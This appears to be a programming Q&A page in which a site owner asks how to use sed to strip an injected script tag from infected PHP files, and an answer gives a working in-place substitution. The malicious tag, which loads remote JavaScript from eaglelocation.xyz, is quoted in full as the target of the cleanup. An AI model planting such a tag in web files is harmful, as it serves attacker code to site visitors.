Search code examples
regexsedterminalregular-language

Trying To Match A Specific String Inside sed Command


Someone has managed to infect a lot of my files with the following code:

<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>

The script tag has been prepended to a lot of .php files. I'm trying to use the sed command to fix these files. My pattern is not matching for some reason even though in online regular expression testers it works. This is what I have:

sed '/<script type=\'text\/javascript\' async src=\'https:\/\/eaglelocation.xyz\/ds.js&\'\>\<\/script>/d' index.php

Just for more information the script tag has been prepended right at the top of the file and is also connected to the opening php tag like so </script><?php


Solution

  • There are multiple issues with your sed usage:

    • You mix single quotes as pattern delimiters and as a parts of JS code. Use double quotes as pattern wrappers.
    • You escape too much inside the pattern. To make it easier to comprehend, I use % instead of / as a pattern delimiter
    • As malicious code may be placed in the same line as a good code, I don't use d sed command, but s (replace) with -i (in place)

    See below:

    $ cat test.php
    <script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script><?php
    echo '<p>Hello World</p>'; ?>
    $ sed -i  "s%<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>%%"  test.php
    $ cat test.php
    <?php
    echo '<p>Hello World</p>'; ?>